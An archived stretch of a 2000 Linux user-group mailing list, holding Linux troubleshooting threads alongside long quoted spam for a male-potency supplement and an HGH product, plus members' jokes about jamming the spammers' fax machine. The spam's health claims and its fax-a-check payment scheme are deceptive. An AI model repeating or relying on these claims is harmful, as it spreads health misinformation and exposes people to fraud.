elements or traces of any prescription drug. Herbal V > > is made using the world's most technologically advanced > > state-of-the-art cold processing equipment to ensure > > maximum purity. Herbal V has been independently analyzed > > by the nation's premier testing facility to ensure purity, > > quality and to end the rumors that, because it is so > > popular, it must somehow be chemical. It is not. > > Herbal V is natural - just as it says on the label. > > Herbal V is simply fantastic! > > > > Herbal V: Ingredients > > > > Yohimbe, saw palmetto, avena sativa, androstenedione, > > guarana, taurine, siberian ginseng, tribulus terrestris. > > Tribulus Terrestis is certified to enhanced testosterone > > levels by increasing Luteinzing hormone (LH) levels. > > Androstenedione which is a precursor to testosterone > > unlocks bound testosterone and makes it biologically > > active again quickly. This means a dramatic surge in > > desire. Avena Sativa Stimulates the neurotransmitter > > pleasure centers to maximum capacity. This greatly > > intensifies pleasure. > > > > Just listen to what Herbal V has done for the sex lives > > of people like you! > > > > "On a scale of 1 to 10, it's a 15. Electrifying. It's like > > a wonder pill!" > > - Justin Q B., New Haven, Texas > > > > "I haven't had sexual relations in 11 years. Then with > > Herbal V it was... wow! It works again!" > > - Sid R., Lakeland, Florida > > > > "I had sex four times in one night. It made me feel > > like a 19-year-old again." > > - Chip S, Beech Mountain, North Carolina > > > > "Herbal V has turned my husband into a Sexual Superman! > > I like the fact that it's all natural and has no > > side effects. It's bringing back the good old days." > > - Jennifer B, Beverly Hills, California > > > > The above testimonials are from product literature, > > and we have not independently verified them. > > However, the following testimonial is from a "senior" > > gentleman who has purchased his second bottle of > > Herbal V. When we heard his words with our own ears, > > we asked his permission to print them here. > > > > "Man! I'm wild as I can be! I feel like I'm 25 years old again! > > I'm not believing this!" > > - Mr. Murphy, age 64, Lampart, IL. > > > > > > > > Risk Free: Double Your Money Back Guarantee > > > > If Herbal V does not give the desired results as stated > > above, simply return the unused portion for a > > double-your money back refund. No questions asked ! > > > > Order Now: Safe, Fast, Secure, Private > > > > Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is > > available only through this special promotional offer. > > Herbal V arrives in plain packaging for your privacy. > > Any and all information is kept strictly confidential. > > > > Payment Methods > > > > You may FAX or Postal Mail Checks, MasterCard, Visa, > > & American Express.payments. Money Orders > > are accepted only by Postal Mail. > > > > > > Each bottle of Herbal V contains 30 tablets, approximately > > a 1 month supply. > > > > > > Step 1: Place a check by your desired quanity. > > > > > > ______ 1 Bottle of Herbal V $28 > > > > > > ______ 2 Bottles of Herbal V $48 > > > > > > ______ 3 Bottles of Herbal V $59 > > > > > > Please add $6 shipping and handling for any size order. > > [ Total cost including shipping & handling, > > 1 bottle=$34, 2 bottles=$54, 3 bottles=$65 ] > > > > International Orders > > Please add $18 shipping and handling for any size order. > > [ Total cost including shipping & handling, > > 1 bottle=$46, 2 bottles=$66, 3 bottles=$77 ] > > We cannot accept foreign checks. > > International money orders or credit cards only. > > > > Step 2: Place a check by your desired payment method > > and complete fields if necessary. > > > > > > _____Check or CHECK-BY-FAX [details below] > > > > > > _____Money Order > > > > > > _____American Express > > Account Number__________________ Exp____/____ > > > > _____Visa > > Account Number__________________ Exp____/____ > > > > _____MasterCard > > Account Number__________________ Exp____/____ > > > > > > > > Step 3: Please complete and print the following fields clearly. > > > > > > Name ___________________________________________________ > > > > > > Address _________________________________________________ > > > > > > City ____________________________________________________ > > > > > > State ___________________________________________________ > > > > > > Zip _____________________________________________________ > > > > > > E-mail __________________________________________________ > > > > > > Signature _________________________________________________ > > [ required for check and credit card orders] > > > > > > > > Toll Free FAX Order Line: 1-800-940-6590 > > If faxing in your order, please state whether you require > > a fax, email, or no confirmation at all. > > Allow up to one day for confirmation, if requested. > > FAX orders are processed immediately. > > > > Or, print & mail to: LSN > > 273 S. State Rd. 7, #193 > > Margate, FL 33068-5727 > > > > > > ______________________________________________________ > > > > > > *CHECK BY FAX ORDERS: Complete the check as normal. Tape > > the check in the area below. Below the check, clearly write > > the check number, all numbers at the bottom of the check, > > & your name. Tape the check below and fax the check to the > > toll free FAX number above. Void the check. Our merchant > > will electronically debit your account for the amount of > > the check; your reference number for this transaction will > > be your check number. Nothing could be safer & easier ! > > > > TAPE CHECK BELOW > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > _____________________________________________________________ > > > > This is a one time mailing: Removal is automatic and no further > > contact is necessary. Please Note: Herbal V is not intended to > > diagnose, treat, cure or prevent any disease. As individuals differ, > > so will results. Herbal V helps provide herbal and > nutritional support > > for male sexual performance. The FDA has not evaluated these > > statements. For details about our double your money back guarantee, > > please write to the above address, attention consumer affairs > > department; enclose a self addressed stamped envelope for > this and any > > requested contact information. > > Thank You. > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > ------ http://USFamily.Net/info - Unlimited Internet - From > $7.99/mo! ------ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tanner at real-time.com Wed Dec 6 21:36:45 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: <001a01c05ffb$b91d2960$a221a0d8@gateway>; from drew@usfamily.net on Wed, Dec 06, 2000 at 09:13:50PM -0600 References: <200012070304.eB734cn24153@sprite.real-time.com> <001a01c05ffb$b91d2960$a221a0d8@gateway> Message-ID: <20001206213645.A9573@real-time.com> Quoting Andrew Nemchenko (drew@usfamily.net): > You know they do give a fax number. Would it be possible to subscribe them > to the TCLUG list and then setup a fax modem to FAX instead of emailing the > postings to them??? It would be perfectly legal, just like those > telemarketers calling at dinner time. 1-800 fax. Should spam them. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From kbullock at ringworld.org Wed Dec 6 21:50:57 2000 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: <3A2E706F.7A02DB0E@ltiflex.com> Message-ID: On Wed, 6 Dec 2000, Andy Zbikowski wrote: > At least in the case of Red Hat and Debian, it is ok to compile your kernel > in /usr/src/linux (kinda recomended if you're using make-kpkg...) Actually it's not even really recommended, any more than compiling it by hand in /usr/src is. I think the general rule of 'compile as a user' applies for make-kpkg as well. As long as you have fakeroot. Now if I could just figure out which kernel-headers package potato wanted... oops :) Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock From jethro at freakzilla.com Wed Dec 6 22:26:18 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] Pine 4.3x, imap, ssl? Message-ID: Hi, Anyone here using Pine 4.3x to connect to a secure-imap service? I'm trying but it refuses to connect to my IMAP server, which is, surprisingly, running the uwashington IMAP2000... The client side says "[self signed certificate: ]" and then: "[Can't establish SSL session to tiger/imaps,993]" On the server side it's saying: Dec 6 22:25:07 Tiger imapd[12413]: imaps alternative service init from UNKNOWN Dec 6 22:25:07 Tiger imapd[12413]: Command stream end of file, while reading line user=??? host=UNKNOWN I can't find ANY USEFUL INFO about Pine ANYWHERE. Anyone? -Yaron -- From wilson at visi.com Wed Dec 6 22:50:56 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] jabber and NAT Message-ID: Hey everyone, I'm having trouble getting jabber clients, specifically Gabber, to work with my DSL line. I've tried hooking my computer directly to the 675 and also from behind the additional firewall that I have in place. Everything is NAT-enabled. Has anyone else got it working? Also, I've put up a little diagram of my home network on my page at http://www.visi.com/~wilson/ Any comments or recommendations would be appreciated. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From chrome at real-time.com Wed Dec 6 22:57:43 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: <001a01c05ffb$b91d2960$a221a0d8@gateway>; from drew@usfamily.net on Wed, Dec 06, 2000 at 09:13:50PM -0600 References: <200012070304.eB734cn24153@sprite.real-time.com> <001a01c05ffb$b91d2960$a221a0d8@gateway> Message-ID: <20001206225743.F29927@real-time.com> > You know they do give a fax number. Would it be possible to subscribe them > to the TCLUG list and then setup a fax modem to FAX instead of emailing the > postings to them??? It would be perfectly legal, just like those > telemarketers calling at dinner time. naah. endless loop of black paper in the fax machine. :) (or electronic equivalent thereof). "it was a glitch in the phone line that sent the continuous black signal to your fax machine and made it jam up and catch fire in the middle of the night which made your tarpaper shack/office burn down. really." Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From jasonj at innominatus.com Wed Dec 6 23:07:19 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] jabber and NAT References: Message-ID: <3A2F1B07.55996382@innominatus.com> From wilson at visi.com Wed Dec 6 23:23:07 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:13 2005 Subject: [TCLUG] jabber and NAT In-Reply-To: <3A2F1B07.55996382@innominatus.com> Message-ID: On Wed, 6 Dec 2000, Jason J wrote: > >From your dia diagram your workstation is behind 2 nat's.I would guess you need > an ip_masq_gabber module similar to ip_masq_icq. Else if your the only one using > gabber behind both of your nat's then you could port forward through the cisco > and through your firewall those ports that gabber uses. My understanding of jabber is that you connect to a server and all messages are routed through there. There's no client to client connections. The Gabber client reports that I connect OK, but I never get any notice of other people's "presence." Presumably that's because those packets originate at the jabber server (jabber.com in my case) and NAT doesn't know where to deliver them. I've done some searching for info about jabber and firewalls, but I'm finding contradictory information. I'll keep digging unless I hear a definitive answer from another TCLUGer. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From Young at tune-in.de Wed Dec 6 23:26:35 2000 From: Young at tune-in.de (Young@tune-in.de) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] REVERSE the AGING PROCESS 10-20 Years! Message-ID: <200012070526.eB75QZn26722@sprite.real-time.com> HAVE YOU HEARD OF HUMAN GROWTH HORMONE (HGH)??? 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Name ___________________________________________________ Address _________________________________________________ City ____________________________________________________ State ___________________________________________________ Zip _____________________________________________________ E-mail __________________________________________________ Signature _________________________________________________ [ required for check and credit card orders] Toll Free FAX Order Line: 1-800-940-6590 If faxing in your order, please state whether you require a fax, email, or no confirmation at all. Allow up to one day for confirmation, if requested. FAX orders are processed immediately. Or, print & mail to: Lion Sciences National 273 S. State Rd. 7 #193 Margate, FL 33068-5727 ______________________________________________________ *CHECK BY FAX ORDERS: Complete the check as normal. Tape the check in the area below. Below the check, clearly write the check number, all numbers at the bottom of the check, & your name. Tape the check below and fax the check to the toll free FAX number above. Void the check. Our merchant will electronically debit your account for the amount of the check; your reference number for this transaction will be your check number. Nothing could be safer & easier ! TAPE CHECK BELOW _____________________________________________________________ This is a one time mailing: Removal is automatic and no further contact is necessary. Please Note: HGH is not intended to diagnose, treat, cure or prevent any disease. The FDA has not evaluated these statements. From jethro at freakzilla.com Wed Dec 6 23:36:40 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] REVERSE the AGING PROCESS 10-20 Years! In-Reply-To: <200012070526.eB75QZn26722@sprite.real-time.com> Message-ID: This is getting rediculous. Since when does the list accept posts form addresses not subscribed to the group? -Yaron -- From chewie at wookimus.net Thu Dec 7 00:56:23 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] jabber and NAT In-Reply-To: ; from wilson@visi.com on Wed, Dec 06, 2000 at 11:23:07PM -0600 References: <3A2F1B07.55996382@innominatus.com> Message-ID: <20001207005623.A10474@wookimus.net> You should not be having problems with Jabber clients behind the firewall. It's a TCP connection that if done correctly will work just fine. If anything, you can always go through the server, which you've SYN attached to yourself. -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001207/2c79ff0a/attachment.pgp From thouck at thouck.com Thu Dec 7 05:25:21 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: <001a01c05ffb$b91d2960$a221a0d8@gateway> Message-ID: Sort of like that Seinfeld episode where Elaine has 57 messages ... 56 of which are "eeeeooooooowwweeeee"... On Wed, 6 Dec 2000, Andrew Nemchenko wrote: > You know they do give a fax number. Would it be possible to subscribe them > to the TCLUG list and then setup a fax modem to FAX instead of emailing the > postings to them??? It would be perfectly legal, just like those > telemarketers calling at dinner time. > > > ____________________________________________________ > If what I say offends you then it was probably meant to do so > > > Andrew Nemchenko > drew@usfamily.net > Home: 651-681-8572 > Work: 952-932-4081 > Pager: 612-264-1737 > http://www.kuzmich.cjb.net > > ----- Original Message ----- > From: > To: > Sent: Wednesday, December 06, 2000 9:04 PM > Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is > Available! > > > > > > Herbal V: An Incredible All-Natural Healthy Alternative To V----a > > > > > > Herbal V is the All Natural Approach to Male Virility, > > Vitality and Pleasure. > > > > > > > > Available N o w ! > > > > > > Welcome to the New Sexual Revolution. > > > > It's the all natural male potency and pleasure pill that men > > everywhere are buzzing about. Herbal V is safe, natural and > > specifically formulated to help support male sexual function > > and pleasure. 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It's bringing back the good old days." > > - Jennifer B, Beverly Hills, California > > > > The above testimonials are from product literature, > > and we have not independently verified them. > > However, the following testimonial is from a "senior" > > gentleman who has purchased his second bottle of > > Herbal V. When we heard his words with our own ears, > > we asked his permission to print them here. > > > > "Man! I'm wild as I can be! I feel like I'm 25 years old again! > > I'm not believing this!" > > - Mr. Murphy, age 64, Lampart, IL. > > > > > > > > Risk Free: Double Your Money Back Guarantee > > > > If Herbal V does not give the desired results as stated > > above, simply return the unused portion for a > > double-your money back refund. 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Money Orders > > are accepted only by Postal Mail. > > > > > > Each bottle of Herbal V contains 30 tablets, approximately > > a 1 month supply. > > > > > > Step 1: Place a check by your desired quanity. > > > > > > ______ 1 Bottle of Herbal V $28 > > > > > > ______ 2 Bottles of Herbal V $48 > > > > > > ______ 3 Bottles of Herbal V $59 > > > > > > Please add $6 shipping and handling for any size order. > > [ Total cost including shipping & handling, > > 1 bottle=$34, 2 bottles=$54, 3 bottles=$65 ] > > > > International Orders > > Please add $18 shipping and handling for any size order. > > [ Total cost including shipping & handling, > > 1 bottle=$46, 2 bottles=$66, 3 bottles=$77 ] > > We cannot accept foreign checks. > > International money orders or credit cards only. > > > > Step 2: Place a check by your desired payment method > > and complete fields if necessary. > > > > > > _____Check or CHECK-BY-FAX [details below] > > > > > > _____Money Order > > > > > > _____American Express > > Account Number__________________ Exp____/____ > > > > _____Visa > > Account Number__________________ Exp____/____ > > > > _____MasterCard > > Account Number__________________ Exp____/____ > > > > > > > > Step 3: Please complete and print the following fields clearly. > > > > > > Name ___________________________________________________ > > > > > > Address _________________________________________________ > > > > > > City ____________________________________________________ > > > > > > State ___________________________________________________ > > > > > > Zip _____________________________________________________ > > > > > > E-mail __________________________________________________ > > > > > > Signature _________________________________________________ > > [ required for check and credit card orders] > > > > > > > > Toll Free FAX Order Line: 1-800-940-6590 > > If faxing in your order, please state whether you require > > a fax, email, or no confirmation at all. > > Allow up to one day for confirmation, if requested. > > FAX orders are processed immediately. > > > > Or, print & mail to: LSN > > 273 S. State Rd. 7, #193 > > Margate, FL 33068-5727 > > > > > > ______________________________________________________ > > > > > > *CHECK BY FAX ORDERS: Complete the check as normal. Tape > > the check in the area below. Below the check, clearly write > > the check number, all numbers at the bottom of the check, > > & your name. Tape the check below and fax the check to the > > toll free FAX number above. Void the check. Our merchant > > will electronically debit your account for the amount of > > the check; your reference number for this transaction will > > be your check number. Nothing could be safer & easier ! > > > > TAPE CHECK BELOW > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > _____________________________________________________________ > > > > This is a one time mailing: Removal is automatic and no further > > contact is necessary. Please Note: Herbal V is not intended to > > diagnose, treat, cure or prevent any disease. As individuals differ, > > so will results. Herbal V helps provide herbal and nutritional support > > for male sexual performance. The FDA has not evaluated these > > statements. For details about our double your money back guarantee, > > please write to the above address, attention consumer affairs > > department; enclose a self addressed stamped envelope for this and any > > requested contact information. > > Thank You. > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From goldman at htc.honeywell.com Thu Dec 7 09:49:56 2000 From: goldman at htc.honeywell.com (Robert P. Goldman) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] question about logging In-Reply-To: <20001206133455.A15602@sorry.cs.umn.edu> References: <14894.37407.552888.202114@mn65-zippy.htc.honeywell.com> <20001206133455.A15602@sorry.cs.umn.edu> Message-ID: <14895.45476.304507.694168@mn65-zippy.htc.honeywell.com> >>>>> "GT" == dopp writes: >> /var/log/samba/log.nmb { >> postrotate >> /usr/bin/killall -HUP nmbd >> endscript } >> GT> Just put that in an if statement. GT> Unfortunately, I dunno what kind of script it is, so I can't GT> give you the syntax. What's the script name? Also, what GT> version of RedHat is it? Have you applied all the latest GT> patches? I've got a bunch of RH6.2 machines with all the GT> latest patches and I don't have this problem. Yes, that's my problem, too. I don't know what kind of script it is, either. It's a script used by logrotate, if that helps. Unfortunately, the man page only says: postrotate/endscript The lines between postrotate and endscript (both of which must appear on lines by themselves) are exe- cuted after the log file is rotated. These direc- tives may only appear inside of a log file defini- tion. See prerotate as well. prerotate/endscript The lines between prerotate and endscript (both of which must appear on lines by themselves) are exe- cuted before the log file is rotated. These direc- tives may only appear inside of a log file defini- tion. See postrotate as well. This suggests that the block between the postrotate and endscript is specially interpreted, but doesn't say HOW. Is it just shoved at a shell, and if so, what shell is used? Certainly it seems to be interpreted by some shell running as root. I suspect that the shell is bash, judging from the error message I get mailed (by cron). From destef at theo.egoode.com Thu Dec 7 09:51:57 2000 From: destef at theo.egoode.com (destef@theo.egoode.com) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: Message-ID: That episode was on a couple nights ago! Hi-larious!! On Thu, 7 Dec 2000, Timothy Houck wrote: > Sort of like that Seinfeld episode where Elaine has 57 messages ... 56 of > which are "eeeeooooooowwweeeee"... > > > On Wed, 6 Dec 2000, Andrew Nemchenko wrote: > > > You know they do give a fax number. Would it be possible to subscribe them > > to the TCLUG list and then setup a fax modem to FAX instead of emailing the > > postings to them??? It would be perfectly legal, just like those > > telemarketers calling at dinner time. > > > > > > ____________________________________________________ > > If what I say offends you then it was probably meant to do so > > > > > > Andrew Nemchenko > > drew@usfamily.net > > Home: 651-681-8572 > > Work: 952-932-4081 > > Pager: 612-264-1737 > > http://www.kuzmich.cjb.net > > > > ----- Original Message ----- > > From: > > To: > > Sent: Wednesday, December 06, 2000 9:04 PM > > Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is > > Available! > > > > > > > > > > Herbal V: An Incredible All-Natural Healthy Alternative To V----a > > > > > > > > > Herbal V is the All Natural Approach to Male Virility, > > > Vitality and Pleasure. > > > > > > > > > > > > Available N o w ! > > > > > > > > > Welcome to the New Sexual Revolution. > > > > > > It's the all natural male potency and pleasure pill that men > > > everywhere are buzzing about. Herbal V is safe, natural and > > > specifically formulated to help support male sexual function > > > and pleasure. You just take two easy-to-swallow tablets > > > one hour before sex. And there's more great news - you can > > > get Herbal V for less than $1 a pill. > > > > > > Amazing word of mouth praise on Herbal V has been spreading > > > like wildfire-already over 1,500,000 men have chosen > > > Herbal V. Since it is 100% natural you will never have > > > to worry about safety. Try doctor-recommended Herbal V > > > today and have the greatest night of your life! > > > > > > > > > Herbal V... Bringing Back the Magic! > > > > > > > > > 1,585,000 men can't be wrong. To date over 1 million men > > > have tried the super supplement Herbal V. > > > Here is why: > > > > > > No Doctor Visit Required > > > Available Over the Counter > > > Not a Drug > > > 100% Natural > > > Safe, No Worries > > > Highest Quality Pharmaceutical-Grade Pure Nutriceuticals > > > Guaranteed Potency & Purity > > > > > > Be a Real Man Again! > > > > > > Questions and Answers > > > > > > What is Herbal V? > > > > > > Herbal V is a proprietary blend that was specifically > > > developed as a safe alternative for men who prefer > > > an all-natural approach to address impotence and boost > > > sexual performance. This amazing formula first became > > > popular with Hollywood insiders and the wealthy elite. > > > They were maximizing their sex lives, long before it > > > was available to the general public. > > > > > > How does Herbal V work? > > > > > > Developed by a team whose goal was to create the perfect > > > all-natural aphrodisiac. Herbal V is the result of that > > > remarkable effort. The Herbal V formula contains a precise > > > blend of cutting edge pro-sexual nutrients from around > > > the world that provide nutritional support, making it > > > possible for a man to have a pleasurable sexual experience. > > > > > > What can Herbal V do for me? > > > > > > Herbal V helps support male sexual function and > > > pleasure in a safe and natural manner. Simply put, > > > it can make your sex life incredible. > > > > > > Is Herbal V Safe? > > > > > > One of the great things about Herbal V is that it is > > > not a drug. It is an incredible herbal dietary supplement > > > that provides nutritional support for male sexual function > > > and pleasure. One of the most comforting features of > > > Herbal V is that you never have to worry about safety. > > > > > > Herbal V: Safe - Natural - Exciting > > > > > > Many have speculated that because Herbal V is so > > > popular with men, it must contain prescription drugs > > > or chemical components. Herbal V does not contain any > > > elements or traces of any prescription drug. Herbal V > > > is made using the world's most technologically advanced > > > state-of-the-art cold processing equipment to ensure > > > maximum purity. Herbal V has been independently analyzed > > > by the nation's premier testing facility to ensure purity, > > > quality and to end the rumors that, because it is so > > > popular, it must somehow be chemical. It is not. > > > Herbal V is natural - just as it says on the label. > > > Herbal V is simply fantastic! > > > > > > Herbal V: Ingredients > > > > > > Yohimbe, saw palmetto, avena sativa, androstenedione, > > > guarana, taurine, siberian ginseng, tribulus terrestris. > > > Tribulus Terrestis is certified to enhanced testosterone > > > levels by increasing Luteinzing hormone (LH) levels. > > > Androstenedione which is a precursor to testosterone > > > unlocks bound testosterone and makes it biologically > > > active again quickly. This means a dramatic surge in > > > desire. Avena Sativa Stimulates the neurotransmitter > > > pleasure centers to maximum capacity. This greatly > > > intensifies pleasure. > > > > > > Just listen to what Herbal V has done for the sex lives > > > of people like you! > > > > > > "On a scale of 1 to 10, it's a 15. Electrifying. It's like > > > a wonder pill!" > > > - Justin Q B., New Haven, Texas > > > > > > "I haven't had sexual relations in 11 years. Then with > > > Herbal V it was... wow! It works again!" > > > - Sid R., Lakeland, Florida > > > > > > "I had sex four times in one night. It made me feel > > > like a 19-year-old again." > > > - Chip S, Beech Mountain, North Carolina > > > > > > "Herbal V has turned my husband into a Sexual Superman! > > > I like the fact that it's all natural and has no > > > side effects. It's bringing back the good old days." > > > - Jennifer B, Beverly Hills, California > > > > > > The above testimonials are from product literature, > > > and we have not independently verified them. > > > However, the following testimonial is from a "senior" > > > gentleman who has purchased his second bottle of > > > Herbal V. When we heard his words with our own ears, > > > we asked his permission to print them here. > > > > > > "Man! I'm wild as I can be! I feel like I'm 25 years old again! > > > I'm not believing this!" > > > - Mr. Murphy, age 64, Lampart, IL. > > > > > > > > > > > > Risk Free: Double Your Money Back Guarantee > > > > > > If Herbal V does not give the desired results as stated > > > above, simply return the unused portion for a > > > double-your money back refund. No questions asked ! > > > > > > Order Now: Safe, Fast, Secure, Private > > > > > > Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is > > > available only through this special promotional offer. > > > Herbal V arrives in plain packaging for your privacy. > > > Any and all information is kept strictly confidential. > > > > > > Payment Methods > > > > > > You may FAX or Postal Mail Checks, MasterCard, Visa, > > > & American Express.payments. Money Orders > > > are accepted only by Postal Mail. > > > > > > > > > Each bottle of Herbal V contains 30 tablets, approximately > > > a 1 month supply. > > > > > > > > > Step 1: Place a check by your desired quanity. > > > > > > > > > ______ 1 Bottle of Herbal V $28 > > > > > > > > > ______ 2 Bottles of Herbal V $48 > > > > > > > > > ______ 3 Bottles of Herbal V $59 > > > > > > > > > Please add $6 shipping and handling for any size order. > > > [ Total cost including shipping & handling, > > > 1 bottle=$34, 2 bottles=$54, 3 bottles=$65 ] > > > > > > International Orders > > > Please add $18 shipping and handling for any size order. > > > [ Total cost including shipping & handling, > > > 1 bottle=$46, 2 bottles=$66, 3 bottles=$77 ] > > > We cannot accept foreign checks. > > > International money orders or credit cards only. > > > > > > Step 2: Place a check by your desired payment method > > > and complete fields if necessary. > > > > > > > > > _____Check or CHECK-BY-FAX [details below] > > > > > > > > > _____Money Order > > > > > > > > > _____American Express > > > Account Number__________________ Exp____/____ > > > > > > _____Visa > > > Account Number__________________ Exp____/____ > > > > > > _____MasterCard > > > Account Number__________________ Exp____/____ > > > > > > > > > > > > Step 3: Please complete and print the following fields clearly. > > > > > > > > > Name ___________________________________________________ > > > > > > > > > Address _________________________________________________ > > > > > > > > > City ____________________________________________________ > > > > > > > > > State ___________________________________________________ > > > > > > > > > Zip _____________________________________________________ > > > > > > > > > E-mail __________________________________________________ > > > > > > > > > Signature _________________________________________________ > > > [ required for check and credit card orders] > > > > > > > > > > > > Toll Free FAX Order Line: 1-800-940-6590 > > > If faxing in your order, please state whether you require > > > a fax, email, or no confirmation at all. > > > Allow up to one day for confirmation, if requested. > > > FAX orders are processed immediately. > > > > > > Or, print & mail to: LSN > > > 273 S. State Rd. 7, #193 > > > Margate, FL 33068-5727 > > > > > > > > > ______________________________________________________ > > > > > > > > > *CHECK BY FAX ORDERS: Complete the check as normal. Tape > > > the check in the area below. Below the check, clearly write > > > the check number, all numbers at the bottom of the check, > > > & your name. Tape the check below and fax the check to the > > > toll free FAX number above. Void the check. Our merchant > > > will electronically debit your account for the amount of > > > the check; your reference number for this transaction will > > > be your check number. Nothing could be safer & easier ! > > > > > > TAPE CHECK BELOW > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > _____________________________________________________________ > > > > > > This is a one time mailing: Removal is automatic and no further > > > contact is necessary. Please Note: Herbal V is not intended to > > > diagnose, treat, cure or prevent any disease. As individuals differ, > > > so will results. Herbal V helps provide herbal and nutritional support > > > for male sexual performance. The FDA has not evaluated these > > > statements. For details about our double your money back guarantee, > > > please write to the above address, attention consumer affairs > > > department; enclose a self addressed stamped envelope for this and any > > > requested contact information. > > > Thank You. > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > --------------------------------------------------------------------- > Timothy Houck > thouck@thouck.com > www.thouck.com > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jasonj at innominatus.com Thu Dec 7 10:13:18 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] X: user not authorized to run the X server, aborting. Message-ID: <3A2FB71E.2050405@innominatus.com> Running Debian Woody. Finally decided to try the X 4.0.1 packages. Installed them. Now i get the following error X: *user not authorized to run the X server*, aborting. I switched back to 3.3.6 and that same error is still there. So its something independent of there configs. Root has no problem start 4 or 3. I created a fresh user just as a test, and that user gets the same error. Only root can start the server, but i cant find where I can change that to allow all users. I got rid of the rootonly line in Xwrappers I change the second line of Xsession to Anybody just to make sure. Any help would be appreciated From dopp at acm.cs.umn.edu Thu Dec 7 10:18:58 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] question about logging In-Reply-To: <14895.45476.304507.694168@mn65-zippy.htc.honeywell.com>; from goldman@htc.honeywell.com on Thu, Dec 07, 2000 at 09:49:56AM -0600 References: <14894.37407.552888.202114@mn65-zippy.htc.honeywell.com> <20001206133455.A15602@sorry.cs.umn.edu> <14895.45476.304507.694168@mn65-zippy.htc.honeywell.com> Message-ID: <20001207101858.C17621@sorry.cs.umn.edu> > > Yes, that's my problem, too. I don't know what kind of script it is, > either. It's a script used by logrotate, if that helps. > Unfortunately, the man page only says: > What's the name of the script and where is it? Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "YOU _GAVE_AWAY_ $47 MILLION DOLLARS?? You fat, bloated eediot!" - Ren Hoek in "Stimpy's Big Day" -------------------------------------------------------------------------------- From tsandqui at yahoo.com Thu Dec 7 11:45:22 2000 From: tsandqui at yahoo.com (Tim Sandquist) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] X: user not authorized to run the X server, aborting. In-Reply-To: <3A2FB71E.2050405@innominatus.com>; from jasonj@innominatus.com on Thu, Dec 07, 2000 at 10:13:18AM -0600 References: <3A2FB71E.2050405@innominatus.com> Message-ID: <20001207114522.A18277@yahoo.com> I was just experiencing this same 